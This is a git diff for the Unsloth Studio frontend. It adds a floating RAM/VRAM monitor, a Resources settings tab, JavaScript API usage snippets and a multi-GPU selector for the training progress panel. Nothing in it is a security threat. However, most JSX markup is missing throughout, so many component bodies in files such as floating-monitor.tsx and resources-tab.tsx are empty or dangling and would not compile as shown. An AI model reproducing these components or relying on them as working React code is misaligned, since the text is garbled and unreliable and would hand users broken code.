b/studio/frontend/src/components/floating-monitor.tsx @@ -0,0 +1,160 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Progress } from "@/components/ui/progress"; +import { useMonitorOverlayStore } from "@/features/settings/stores/monitor-overlay-store"; +import { useSystemInfo } from "@/hooks/use-system"; +import { useT } from "@/i18n"; +import { cn } from "@/lib/utils"; +import { CpuIcon, GripVerticalIcon, XIcon } from "lucide-react"; +import { motion } from "motion/react"; +import { useRef } from "react"; + +function clampPercent(value: number): number { + return Math.max(0, Math.min(100, value)); +} + +function usageIndicatorClass(percent: number): string { + if (percent >= 90) return "bg-destructive"; + if (percent >= 70) return "bg-amber-500"; + return "bg-primary"; +} + +function usageTextClass(percent: number): string { + if (percent >= 90) return "text-destructive"; + if (percent >= 70) return "text-amber-600 dark:text-amber-400"; + return "text-primary"; +} + +function formatGb(value: number): string { + const digits = value >= 10 ? 1 : 2; + return `${value.toFixed(digits)} GB`; +} + +export function FloatingMonitor() { + const t = useT(); + const { isOpen, setIsOpen } = useMonitorOverlayStore(); + const systemInfo = useSystemInfo({ enabled: isOpen, pollMs: 5000 }); + + const constraintsRef = useRef(null); + + if (!isOpen) return null; + + const ramTotal = systemInfo.memory?.total_gb ?? 0; + const ramAvailable = systemInfo.memory?.available_gb ?? 0; + const ramUsed = Math.max(0, ramTotal - ramAvailable); + const ramPercent = clampPercent(systemInfo.memory?.percent_used ?? 0); + + const devices = systemInfo.gpu?.devices ?? []; + const vramTotal = devices.reduce( + (sum, device) => sum + (device.memory_total_gb ?? 0), + 0, + ); + const vramUsed = devices.reduce( + (sum, device) => sum + (device.vram_used_gb ?? 0), + 0, + ); + const vramPercent = clampPercent( + vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0, + ); + + const hasGpu = (systemInfo.gpu?.available ?? false) && devices.length > 0; + + return ( +
+ +
+
+ + + {t("settings.resources.liveMonitor.title")} + +
+
+
+ +
+ + +
+
+ + +
+
+ {t("settings.resources.liveMonitor.ram")} + + {Math.round(ramPercent)}% + +
+
+ {formatGb(ramUsed)} / {formatGb(ramTotal)} +
+ +
+ + {hasGpu && ( +
+
+ + {t("settings.resources.liveMonitor.vram")}{" "} + {devices.length > 1 + ? `(${devices.length} GPUs)` + : `(${devices[0].name ?? "GPU"})`} + + + {Math.round(vramPercent)}% + +
+
+ {formatGb(vramUsed)} / {formatGb(vramTotal)} +
+ +
+ )} + + +
+ ); +} diff --git a/studio/frontend/src/features/hub/catalog/models-header.tsx b/studio/frontend/src/features/hub/catalog/models-header.tsx index f5afce5c59..10d5a80e5e 100644 --- a/studio/frontend/src/features/hub/catalog/models-header.tsx +++ b/studio/frontend/src/features/hub/catalog/models-header.tsx @@ -15,6 +15,7 @@ import { PackageIcon, RamMemoryIcon, RemoveCircleIcon, + CpuIcon } from "@hugeicons/core-free-icons"; import type { IconSvgElement } from "@hugeicons/react"; import { HugeiconsIcon } from "@hugeicons/react"; @@ -43,6 +44,7 @@ export function ModelsHeader({ isDataset, gpuLabel, ramLabel, + coreLabel, activeCheckpoint, activeGgufVariant, onTitleClick, @@ -53,6 +55,7 @@ export function ModelsHeader({ isDataset: boolean; gpuLabel: string; ramLabel: string; + coreLabel: string; activeCheckpoint: string | null; activeGgufVariant: string | null; onTitleClick: () => void; @@ -84,7 +87,8 @@ export function ModelsHeader({ value={String(localCount)} /> - + + {activeCheckpoint && (
diff --git a/studio/frontend/src/features/hub/hub-page.tsx b/studio/frontend/src/features/hub/hub-page.tsx index 56aa07335d..c3920e18f6 100644 --- a/studio/frontend/src/features/hub/hub-page.tsx +++ b/studio/frontend/src/features/hub/hub-page.tsx @@ -1085,11 +1085,15 @@ export function ModelsPage() { const { vramInfo, minMemory } = useHubModelVram(selectedModel, gpu); const gpuLabel = gpu.available - ? `${Math.floor(gpu.memoryTotalGb)} GB` + ? `${Math.round(gpu.memoryTotalGb)} GB` : "Unavailable"; const ramLabel = - gpu.systemRamAvailableGb > 0 - ? `${Math.floor(gpu.systemRamAvailableGb)} GB` + gpu.systemRamTotalGb > 0 + ? `${Math.round(gpu.systemRamTotalGb)} GB` + : "Unavailable"; + const coreLabel = + gpu.cpuCore > 0 && gpu.cpuThread > 0 + ? `${gpu.cpuCore}/${gpu.cpuThread}` : "Unavailable"; const openNewChat = useCallback(() => { @@ -1453,6 +1457,7 @@ export function ModelsPage() { isDataset={isDatasetMode} gpuLabel={gpuLabel} ramLabel={ramLabel} + coreLabel={coreLabel} activeCheckpoint={activeCheckpoint} activeGgufVariant={activeGgufVariant} onTitleClick={handleResetToDiscover} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index aef2e7ffe6..d66ca6105d 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -33,44 +33,58 @@ import { updateOpenAIAutoSwitchSettings, } from "../api/openai-auto-switch"; -// API call type; OS axis applies to curl only (Python is OS-identical). type ExampleType = | "curl" | "python" + | "javascript" | "curlTools" | "pythonTools" + | "javascriptTools" | "curlAdvanced" - | "pythonAdvanced"; + | "pythonAdvanced" + | "javascriptAdvanced"; type Os = "unix" | "windows"; -// plain = bare call; tools = server-side tools; advanced = sampling + thinking + tools. type Variant = "plain" | "tools" | "advanced"; const TYPE_TABS: { id: ExampleType; label: string }[] = [ { id: "curl", label: "curl" }, { id: "python", label: "Python" }, + { id: "javascript", label: "JavaScript" }, { id: "curlTools", label: "curl + tools" }, { id: "pythonTools", label: "Python + tools" }, + { id: "javascriptTools", label: "JavaScript + tools" }, { id: "curlAdvanced", label: "curl + advanced" }, { id: "pythonAdvanced", label: "Python + advanced" }, + { id: "javascriptAdvanced", label: "JavaScript + advanced" }, ]; const TYPE_LABEL_KEY: Partial> = { curlTools: "settings.apiKeys.exampleCurlTools", pythonTools: "settings.apiKeys.examplePythonTools", + javascriptTools: "settings.apiKeys.exampleJavaScriptTools", curlAdvanced: "settings.apiKeys.exampleCurlAdvanced", pythonAdvanced: "settings.apiKeys.examplePythonAdvanced", + javascriptAdvanced: "settings.apiKeys.exampleJavaScriptAdvanced", }; const OS_AWARE: Record = { curl: true, python: false, + javascript: false, curlTools: true, pythonTools: false, + javascriptTools: false, curlAdvanced: true, pythonAdvanced: false, + javascriptAdvanced: false, }; const CURL_TYPES = new Set(["curl", "curlTools", "curlAdvanced"]); +const JAVASCRIPT_TYPES = new Set([ + "javascript", + "javascriptTools", + "javascriptAdvanced", +]); const PROMPT = "Can Unsloth Studio do API calling?"; // Auto-switch demo: a second call naming a different downloaded GGUF so the @@ -82,7 +96,6 @@ const SWITCH_MODEL = "your-other-downloaded-GGUF"; const SWITCH_PROMPT = "Now answer as a different model."; // web_search + python + terminal are the reliable built-in tools. const TOOLS = ["web_search", "python", "terminal"]; -// Sampling/thinking knobs for the "+ advanced" examples. const ADV = { temperature: 0.7, top_p: 0.8, @@ -93,37 +106,18 @@ const ADV = { } as const; const DOC_LINKS = [ - { - label: "Claude Code", - href: "https://unsloth.ai/docs/basics/claude-code", - }, - { - label: "Codex", - href: "https://unsloth.ai/docs/basics/codex", - }, - { - label: "OpenClaw", - href: "https://unsloth.ai/docs/integrations/openclaw", - }, - { - label: "OpenCode", - href: "https://unsloth.ai/docs/integrations/opencode", - }, - { - label: "Hermes Agent", - href: "https://unsloth.ai/docs/integrations/hermes-agent", - }, + { label: "Claude Code", href: "https://unsloth.ai/docs/basics/claude-code" }, + { label: "Codex", href: "https://unsloth.ai/docs/basics/codex" }, + { label: "OpenClaw", href: "https://unsloth.ai/docs/integrations/openclaw" }, + { label: "OpenCode", href: "https://unsloth.ai/docs/integrations/opencode" }, + { label: "Hermes Agent", href: "https://unsloth.ai/docs/integrations/hermes-agent" }, ]; -// JSON-encode; also a valid Python literal, so odd model names never break output. const j = (s: string): string => JSON.stringify(s); -// Embed in a POSIX single-quoted string: close, escaped quote, reopen. const shSingle = (s: string): string => s.replace(/'/g, "'\\''"); -// Embed in a PowerShell single-quoted string: '' is a literal quote. const psSingle = (s: string): string => s.replace(/'/g, "''"); const toolsJson = TOOLS.map(j).join(", "); -// Shared body fields (after model/messages, before stream) per variant. function bodyExtraLines(variant: Variant, indent: string): string[] { const lines: string[] = []; if (variant === "advanced") { @@ -152,7 +146,6 @@ function curlBodyPretty(model: string, variant: Variant): string { return `{\n${lines.join("\n")}\n }`; } -// One-line JSON for the Windows body file (PowerShell mangles inline quotes to curl.exe). function winBody(model: string, variant: Variant): string { const body: Record = { model, @@ -172,7 +165,7 @@ function winBody(model: string, variant: Variant): string { body.enabled_tools = TOOLS; } body.stream = true; - return JSON.stringify(body); + return JSON.stringify(body, null, 2); } // A leading comment (valid in both bash and PowerShell) noting the model field @@ -193,7 +186,6 @@ function curlUnix( -d '${shSingle(curlBodyPretty(model, variant))}'`; } -// Windows PowerShell: curl aliases to Invoke-WebRequest, so use curl.exe + body file. function curlWindows( base: string, key: string, @@ -233,7 +225,6 @@ function pythonSnippet( variant: Variant, autoSwitch: boolean, ): string { - // Standard OpenAI args are named; Unsloth extensions go through extra_body. const named = variant === "advanced" ? ` @@ -258,7 +249,6 @@ function pythonSnippet( ${extra.join("\n")} },` : ""; - // With tools, some chunks are tool-lifecycle events with no choices; guard it. const loop = variant !== "plain" ? `for chunk in response: @@ -281,6 +271,70 @@ response = client.chat.completions.create( ${loop}${autoSwitch ? pythonSwitchDemo() : ""}`; } +function javascriptSnippet( + base: string, + key: string, + model: string, + variant: Variant, + autoSwitch: boolean, +): string { + const options: string[] = []; + if (variant === "advanced") { + options.push(` temperature: ${ADV.temperature},`); + options.push(` top_p: ${ADV.top_p},`); + options.push(` max_tokens: ${ADV.max_tokens},`); + } + + // The JS SDK forwards unknown options into the request body, so these go at the + // top level (the Python SDK needs them under extra_body instead). + if (variant === "advanced") { + options.push(` top_k: ${ADV.top_k},`); + options.push(` min_p: ${ADV.min_p},`); + options.push(` repetition_penalty: ${ADV.repetition_penalty},`); + options.push(` enable_thinking: true,`); + } + if (variant !== "plain") { + options.push(` enable_tools: true,`); + options.push(` enabled_tools: [${toolsJson}],`); + } + + const trailingOptions = options.length ? `\n${options.join("\n")}` : ""; + + return `import OpenAI from "openai"; + +const client = new OpenAI({ + baseURL: ${j(`${base}/v1`)}, + apiKey: ${j(key)}, +}); + +const response = await client.chat.completions.create({ + model: ${j(model)}, + messages: [{ role: "user", content: ${j(PROMPT)} }],${trailingOptions} + stream: true, +}); + +for await (const chunk of response) { + process.stdout.write(chunk.choices?.[0]?.delta?.content || ""); +}${autoSwitch ? javascriptSwitchDemo() : ""}`; +} + +function javascriptSwitchDemo(): string { + return ` + +// "Switch model by request" is on: replace the model below with another GGUF you +// have downloaded and Studio loads it before serving. Unknown names keep serving +// the current model. +const switchResponse = await client.chat.completions.create({ + model: ${j(SWITCH_MODEL)}, + messages: [{ role: "user", content: ${j(SWITCH_PROMPT)} }], + stream: true, +}); + +for await (const chunk of switchResponse) { + process.stdout.write(chunk.choices?.[0]?.delta?.content || ""); +}`; +} + function buildSnippets( base: string, key: string, @@ -292,17 +346,24 @@ function buildSnippets( return { curl: curl(base, key, model, "plain", autoSwitch), python: pythonSnippet(base, key, model, "plain", autoSwitch), + javascript: javascriptSnippet(base, key, model, "plain", autoSwitch), curlTools: curl(base, key, model, "tools", autoSwitch), pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch), + javascriptTools: javascriptSnippet(base, key, model, "tools", autoSwitch), curlAdvanced: curl(base, key, model, "advanced", autoSwitch), pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch), + javascriptAdvanced: javascriptSnippet( + base, + key, + model, + "advanced", + autoSwitch, + ), }; } const KEY_PLACEHOLDER = "sk-unsloth-YOUR_KEY"; const MODEL_FALLBACK = "unsloth/gemma-4-E4B-it-GGUF:UD-Q5_K_XL"; - -// Default ON: when a tunnel exists, examples should show the public base_url. const USE_TUNNEL_KEY = "unsloth_api_use_tunnel"; function readUseTunnelPref(): boolean { @@ -319,11 +380,10 @@ function writeUseTunnelPref(value: boolean): void { try { window.localStorage.setItem(USE_TUNNEL_KEY, value ? "true" : "false"); } catch { - // Non-fatal: the toggle still applies for this session. + // Non-fatal } } -// Active local checkpoint as repo[:variant]; external/none falls back to a default. function useLoadedModelName(): string { const checkpoint = useChatRuntimeStore((s) => s.params.checkpoint); const ggufVariant = useChatRuntimeStore((s) => s.activeGgufVariant); @@ -338,7 +398,6 @@ function useLoadedModelName(): string { }, [checkpoint, ggufVariant]); } -// shiki highlighting via the app's shared code plugin + themes (same as chat). const SHIKI_THEMES = [unslothLightTheme, unslothDarkTheme] as [ typeof unslothLightTheme, typeof unslothDarkTheme, @@ -352,7 +411,6 @@ function HighlightedCode({ code: string; language: string; }) { - // Fence so Streamdown's shiki plugin highlights it (no markdown inside a fence). const markdown = useMemo( () => `\`\`\`${language}\n${code}\n\`\`\``, [code, language], @@ -390,7 +448,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { ); const [savingAutoSwitch, setSavingAutoSwitch] = useState(false); - // Tunnel may start after the first /api/health read; refresh so it surfaces here. useEffect(() => { void fetchDeviceType({ force: true }); }, []); @@ -410,10 +467,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { }, []); const model = useLoadedModelName(); - // Real key while revealed (before "Done"); otherwise a placeholder. const key = apiKey || KEY_PLACEHOLDER; - // Toggle on + tunnel up: public tunnel URL. Off: backend direct host:port - // (origin is only a last-resort fallback). const origin = typeof window !== "undefined" ? window.location.origin : ""; const base = useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin); @@ -429,7 +483,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { ? os === "windows" ? "powershell" : "bash" - : "python"; + : JAVASCRIPT_TYPES.has(lang) + ? "javascript" + : "python"; const handleCopy = async () => { if (await copyToClipboard(snippets[lang])) { @@ -539,8 +595,6 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { )}
- {/* Always rendered (dimmed when off) so toggling never changes the - row height and shifts the code block below. */} - {/* key on the snippet so Streamdown remounts and re-highlights when - only a substring (e.g. the base URL) changes; its block memo - otherwise keeps the stale render. */} ; case "appearance": return ; + case "resources": + return ; case "chat": return ; case "connections": @@ -100,6 +110,7 @@ export function SettingsDialog() { general: null, profile: null, appearance: null, + resources: null, chat: null, connections: null, "api-keys": null, @@ -115,110 +126,113 @@ export function SettingsDialog() { }, [open, activeTab]); return ( - !o && closeDialog()}> - { - // Restore focus to the element that triggered openDialog(). Radix's - // FocusScope races our rAF-scheduled tab focus and loses the - // previous-focus reference, so restore it by hand. - if (opener && opener.isConnected) { - e.preventDefault(); - opener.focus({ preventScroll: true }); - } - }} - className={cn( - // Cap at 820px but shrink to the viewport so it doesn't clip on - // iPad-portrait widths (640-820px) where fixed `w-[820px]` overflows. - "settings-surface !max-w-[min(820px,calc(100vw-2rem))] h-[560px] w-[min(820px,calc(100vw-2rem))] p-0 overflow-hidden", - // Soft shadow, no outline ring. Pin --radius to the light value so - // corner rounding matches in dark mode. - "shadow-border rounded-xl ring-0 [--radius:1.1rem]", - "max-sm:h-dvh max-sm:w-dvw max-sm:!max-w-none max-sm:rounded-none", - )} - > - - {t("settings.dialog.title")} - - - {t("settings.dialog.description")} - -
- + {tab.badgeKey ? ( + + {t(tab.badgeKey)} + + ) : null} + + ); + })} + + -
- -
- {renderTab(activeTab)} -
-
-
- - +
+ +
+ {renderTab(activeTab)} +
+
+
+ + + + ); } diff --git a/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts new file mode 100644 index 0000000000..1af804a19e --- /dev/null +++ b/studio/frontend/src/features/settings/stores/monitor-overlay-store.ts @@ -0,0 +1,24 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { create } from "zustand"; +import { persist } from "zustand/middleware"; + +interface MonitorOverlayState { + isOpen: boolean; + isMinimized: boolean; + setIsOpen: (open: boolean) => void; + toggleMinimized: () => void; +} + +export const useMonitorOverlayStore = create()( + persist( + (set) => ({ + isOpen: false, + isMinimized: false, + setIsOpen: (isOpen) => set({ isOpen }), + toggleMinimized: () => set((state) => ({ isMinimized: !state.isMinimized })), + }), + { name: "unsloth_monitor_overlay" } + ) +); \ No newline at end of file diff --git a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts index 7fab580f3c..234e92b3d0 100644 --- a/studio/frontend/src/features/settings/stores/settings-dialog-store.ts +++ b/studio/frontend/src/features/settings/stores/settings-dialog-store.ts @@ -7,6 +7,7 @@ export type SettingsTab = | "general" | "profile" | "appearance" + | "resources" | "chat" | "connections" | "api-keys" @@ -60,6 +61,7 @@ function loadInitialTab(): SettingsTab { "general", "profile", "appearance", + "resources", "chat", "connections", "api-keys", diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index ce69f3d910..df684b7752 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -104,6 +104,7 @@ const PREFS_KEYS: string[] = [ "tour:studio:v1", // Update notifications "unsloth_show_llama_update_banner", + "unsloth_monitor_overlay", ]; // Set by resetAllPrefs so the unmount-commit effect skips writing back the diff --git a/studio/frontend/src/features/settings/tabs/resources-tab.tsx b/studio/frontend/src/features/settings/tabs/resources-tab.tsx new file mode 100644 index 0000000000..d5e19cc51c --- /dev/null +++ b/studio/frontend/src/features/settings/tabs/resources-tab.tsx @@ -0,0 +1,477 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +import { Button } from "@/components/ui/button"; +import { Progress } from "@/components/ui/progress"; +import { Switch } from "@/components/ui/switch"; +import { openModelsDir } from "@/features/native-intents"; +import { useSystemInfo, type GpuDevice } from "@/hooks/use-system"; +import { isTauri } from "@/lib/api-base"; +import { copyToClipboard } from "@/lib/copy-to-clipboard"; +import { toast } from "@/lib/toast"; +import { cn } from "@/lib/utils"; +import { useT } from "@/i18n"; +import { useEffect, useMemo, useState } from "react"; +import { loadModelsFolder, type ModelsFolder } from "../api/models-folder"; +import { SettingsRow } from "../components/settings-row"; +import { SettingsSection } from "../components/settings-section"; +import { useMonitorOverlayStore } from "../stores/monitor-overlay-store"; +import { LayersIcon } from "lucide-react"; + +const POLL_MS = 3000; + +function isFiniteNumber(value: number | null | undefined): value is number { + return typeof value === "number" && Number.isFinite(value); +} + +function clampPercent(value: number | null | undefined): number { + if (!isFiniteNumber(value)) return 0; + return Math.max(0, Math.min(100, value)); +} + +function usageIndicatorClass(percent: number): string { + if (percent >= 90) return "bg-destructive"; + if (percent >= 70) return "bg-amber-500"; + return "bg-primary"; +} + +function usageTextClass(percent: number): string { + if (percent >= 90) return "text-destructive"; + if (percent >= 70) return "text-amber-600 dark:text-amber-400"; + return "text-primary"; +} + +function formatGb(value: number | null | undefined): string { + const safe = isFiniteNumber(value) ? Math.max(0, value) : 0; + const digits = safe >= 10 ? 1 : 2; + return `${safe.toFixed(digits)} GB`; +} + +function formatMb(value: number | null | undefined): string { + const safe = isFiniteNumber(value) ? Math.max(0, value) : 0; + return `${Math.round(safe).toLocaleString()} MB`; +} + +function formatPercent(value: number | null | undefined): string { + return `${Math.round(clampPercent(value))}%`; +} + +function formatFrequency(mhz: number | null | undefined): string | null { + if (!isFiniteNumber(mhz) || mhz <= 0) return null; + if (mhz >= 1000) return `${(mhz / 1000).toFixed(2)} GHz`; + return `${Math.round(mhz)} MHz`; +} + +function formatUptime(seconds: number | null | undefined): string { + if (!isFiniteNumber(seconds) || seconds <= 0) return "0m"; + const minutes = Math.floor(seconds / 60); + const hours = Math.floor(minutes / 60); + const days = Math.floor(hours / 24); + if (days > 0) return `${days}d ${hours % 24}h`; + if (hours > 0) return `${hours}h ${minutes % 60}m`; + return `${Math.max(1, minutes)}m`; +} + +function MetricTile({ + label, + value, + detail, + percent, +}: { + label: string; + value: string; + detail: string; + percent: number; +}) { + const safePercent = clampPercent(percent); + return ( +
+
+ + {label} + + + {formatPercent(safePercent)} + +
+
+
+ {value} +
+
+ {detail} +
+
+ +
+ ); +} + +function InfoRow({ + label, + value, + detail, +}: { + label: string; + value: string; + detail?: string; +}) { + return ( +
+ + {label} + + + {detail ? `${value} (${detail})` : value} + +
+ ); +} + +function deviceOrdinal(device: GpuDevice): number | undefined { + return device.visible_ordinal ?? device.index; +} + +export function ResourcesTab() { + const t = useT(); + const [liveUpdates, setLiveUpdates] = useState(true); + const { isOpen, setIsOpen } = useMonitorOverlayStore(); + const systemInfo = useSystemInfo({ + enabled: liveUpdates, + pollMs: liveUpdates ? POLL_MS : undefined, + }); + const [modelsFolder, setModelsFolder] = useState(null); + const [modelsFolderLoaded, setModelsFolderLoaded] = useState(false); + + useEffect(() => { + let cancelled = false; + void loadModelsFolder() + .then((folder) => { + if (cancelled) return; + setModelsFolder(folder); + setModelsFolderLoaded(true); + }) + .catch(() => { + if (cancelled) return; + setModelsFolderLoaded(true); + }); + return () => { + cancelled = true; + }; + }, []); + + const metrics = useMemo(() => { + const devices = systemInfo.gpu?.devices ?? []; + const ramTotal = systemInfo.memory?.total_gb ?? 0; + const ramAvailable = systemInfo.memory?.available_gb ?? 0; + const ramUsed = Math.max(0, ramTotal - ramAvailable); + const diskTotal = systemInfo.disk?.total_gb ?? 0; + const diskFree = systemInfo.disk?.free_gb ?? 0; + const diskUsed = Math.max(0, diskTotal - diskFree); + const vramTotal = devices.reduce( + (sum, device) => sum + (device.memory_total_gb ?? 0), + 0, + ); + const vramUsed = devices.reduce( + (sum, device) => sum + (device.vram_used_gb ?? 0), + 0, + ); + const vramFree = devices.reduce( + (sum, device) => + sum + + (device.vram_free_gb ?? + Math.max(0, (device.memory_total_gb ?? 0) - (device.vram_used_gb ?? 0))), + 0, + ); + const vramPercent = vramTotal > 0 ? (vramUsed / vramTotal) * 100 : 0; + + return { + devices, + ramTotal, + ramUsed, + diskTotal, + diskFree, + diskUsed, + vramTotal, + vramUsed, + vramFree, + vramPercent, + }; + }, [systemInfo]); + + const handleModelsFolder = async () => { + const folder = modelsFolder; + if (!folder) return; + if (isTauri) { + try { + await openModelsDir(folder.path); + } catch (error) { + toast.error(t("settings.resources.storage.openError"), { + description: error instanceof Error ? error.message : undefined, + }); + } + return; + } + if (await copyToClipboard(folder.path)) { + toast.success(t("settings.resources.storage.copied")); + } else { + toast.error(t("settings.resources.storage.copyError")); + } + }; + + const cpuCoresLabel = + systemInfo.cpu?.logical_count && systemInfo.cpu?.physical_count + ? t("settings.resources.liveMonitor.cpuCores", { + logical: systemInfo.cpu.logical_count, + physical: systemInfo.cpu.physical_count, + }) + : t("settings.resources.environment.unknown"); + const cpuFrequencyLabel = formatFrequency(systemInfo.cpu?.frequency_mhz); + const hasGpu = + (systemInfo.gpu?.available ?? false) && metrics.devices.length > 0; + const backendLabel = ( + systemInfo.gpu?.backend ?? systemInfo.device_backend ?? "cpu" + ).toUpperCase(); + const modelsFolderPath = modelsFolder + ? modelsFolder.path + : modelsFolderLoaded + ? t("settings.resources.environment.unknown") + : t("common.loading"); + + return ( +
+
+
+

+ {t("settings.resources.title")} +

+

+ {t("settings.resources.description")} +

+
+
+ + +
+ {t("settings.resources.liveUpdates")} + +
+
+
+ + +
+ + + + +
+ + + + {hasGpu ? ( + metrics.devices.map((device, index) => { + const ordinal = deviceOrdinal(device); + const total = device.memory_total_gb ?? 0; + const used = device.vram_used_gb ?? 0; + const free = device.vram_free_gb ?? Math.max(0, total - used); + const percent = + device.vram_utilization_pct ?? + (total > 0 ? (used / total) * 100 : null); + const safePercent = clampPercent(percent); + return ( +
+
+
+
+ {device.name ?? + t("settings.resources.gpu.unknownDevice")} +
+
+ {ordinal === undefined + ? backendLabel + : `${t("settings.resources.gpu.deviceWithIndex", { + index: ordinal, + })}, ${backendLabel}`} +
+
+
+ + {formatPercent(safePercent)}{" "} + {t("settings.resources.gpu.vramUtilization")} + +
+
+
+ + {t("settings.resources.gpu.used", { + value: formatGb(used), + })} + + + {t("settings.resources.gpu.free", { + value: formatGb(free), + })} + + + {t("settings.resources.gpu.total", { + value: formatGb(total), + })} + +
+ +
+ ); + }) + ) : ( +
+ {t("settings.resources.gpu.noGpu")} +
+ )} + + + + + +
+ + {modelsFolderPath} + + +
+ + + + + + + + + + + +
+ ); +} diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx index 6aaca86e0b..abab35db93 100644 --- a/studio/frontend/src/features/studio/sections/progress-section.tsx +++ b/studio/frontend/src/features/studio/sections/progress-section.tsx @@ -29,6 +29,7 @@ import { import { getTrainingMethodLabel } from "@/features/training/lib/training-methods"; import type { TrainingViewData } from "@/features/training"; import { useGpuUtilization } from "@/hooks"; +import type { GpuUtilization } from "@/hooks/use-gpu-utilization"; import { cn } from "@/lib/utils"; import { ChartAverageIcon, @@ -42,7 +43,7 @@ import { } from "@hugeicons/core-free-icons"; import { HugeiconsIcon } from "@hugeicons/react"; import { Link, useNavigate } from "@tanstack/react-router"; -import { type ReactElement, type ReactNode, useState } from "react"; +import { type ReactElement, type ReactNode, useEffect, useState } from "react"; import { useShallow } from "zustand/react/shallow"; import { ChartSettingsSheet } from "./charts/chart-settings-sheet"; import { @@ -123,18 +124,17 @@ export function ProgressSection({ const [stopDialogOpen, setStopDialogOpen] = useState(false); const [stopRequestedLocal, setStopRequestedLocal] = useState(false); - // Auto-resets when training stops; no useEffect needed const stopRequested = data.isTrainingRunning && stopRequestedLocal; const pct = data.totalSteps > 0 ? Math.min( - 100, - Math.max( - 0, - Math.round((data.currentStep / data.totalSteps) * 100), - ), - ) + 100, + Math.max( + 0, + Math.round((data.currentStep / data.totalSteps) * 100), + ), + ) : Math.round(data.progressPercent); const elapsed = data.elapsedSeconds; @@ -214,16 +214,16 @@ export function ProgressSection({ }, ...(data.trainingMethod !== "full" ? [ - { - section: "LoRA", - rows: [ - configRow(t("studio.progress.rank"), cfgLoraRank), - configRow(t("studio.progress.alpha"), cfgLoraAlpha), - configRow(t("studio.progress.dropout"), cfgLoraDropout), - configRow(t("studio.progress.variant"), cfgLoraVariant), - ], - }, - ] + { + section: "LoRA", + rows: [ + configRow(t("studio.progress.rank"), cfgLoraRank), + configRow(t("studio.progress.alpha"), cfgLoraAlpha), + configRow(t("studio.progress.dropout"), cfgLoraDropout), + configRow(t("studio.progress.variant"), cfgLoraVariant), + ], + }, + ] : []), ]; @@ -350,8 +350,8 @@ export function ProgressSection({ {stepsPerSecond == null ? t("studio.progress.noStepsPerSecond") : t("studio.progress.stepsPerSecond", { - value: stepsPerSecond.toFixed(2), - })} + value: stepsPerSecond.toFixed(2), + })} {data.currentNumTokens != null && ( {t("studio.progress.tokens", { value: data.currentNumTokens })} @@ -373,14 +373,50 @@ function LiveGpuPanel({ isTrainingRunning: boolean; }): ReactElement { const t = useT(); - const gpu = useGpuUtilization(isTrainingRunning); + const [selectedGpu, setSelectedGpu] = useState(0); + const gpuData = useGpuUtilization(isTrainingRunning); + const gpus: GpuUtilization[] = + Array.isArray(gpuData?.devices) && gpuData.devices.length > 0 + ? gpuData.devices + : gpuData && Object.keys(gpuData).length > 0 + ? [gpuData] + : []; + + useEffect(() => { + if (selectedGpu > 0 && selectedGpu >= gpus.length) { + setSelectedGpu(0); + } + }, [gpus.length, selectedGpu]); + + const gpuCount = gpus.length; + const currentGpu: Partial = gpus[selectedGpu] || gpus[0] || {}; return (
-
-

- {t("studio.progress.gpuMonitor")} -

+
+
+

+ {t("studio.progress.gpuMonitor")} +

+ {gpuCount > 1 && ( + + )} +
{t("studio.progress.live")} @@ -388,51 +424,44 @@ function LiveGpuPanel({
- } + icon={} value={ - gpu.gpu_utilization_pct != null - ? `${gpu.gpu_utilization_pct}%` + currentGpu.gpu_utilization_pct != null + ? `${currentGpu.gpu_utilization_pct}%` : "--" } - pct={gpu.gpu_utilization_pct ?? 0} + pct={currentGpu.gpu_utilization_pct ?? 0} /> - } + icon={} value={ - gpu.temperature_c != null ? `${gpu.temperature_c}°C` : "--" + currentGpu.temperature_c != null ? `${currentGpu.temperature_c}°C` : "--" } - pct={gpu.temperature_c ?? 0} + pct={currentGpu.temperature_c ?? 0} max={100} /> } value={ - gpu.vram_used_gb != null && gpu.vram_total_gb != null - ? `${gpu.vram_used_gb} / ${gpu.vram_total_gb} GB` + currentGpu.vram_used_gb != null && currentGpu.vram_total_gb != null + ? `${currentGpu.vram_used_gb} / ${currentGpu.vram_total_gb} GB` : "--" } - pct={gpu.vram_utilization_pct ?? 0} + pct={currentGpu.vram_utilization_pct ?? 0} /> } value={ - gpu.power_draw_w != null - ? gpu.power_limit_w != null - ? `${gpu.power_draw_w} / ${gpu.power_limit_w} W` - : `${gpu.power_draw_w} W` + currentGpu.power_draw_w != null + ? currentGpu.power_limit_w != null + ? `${currentGpu.power_draw_w} / ${currentGpu.power_limit_w} W` + : `${currentGpu.power_draw_w} W` : "--" } - pct={gpu.power_utilization_pct ?? 0} + pct={currentGpu.power_utilization_pct ?? 0} />
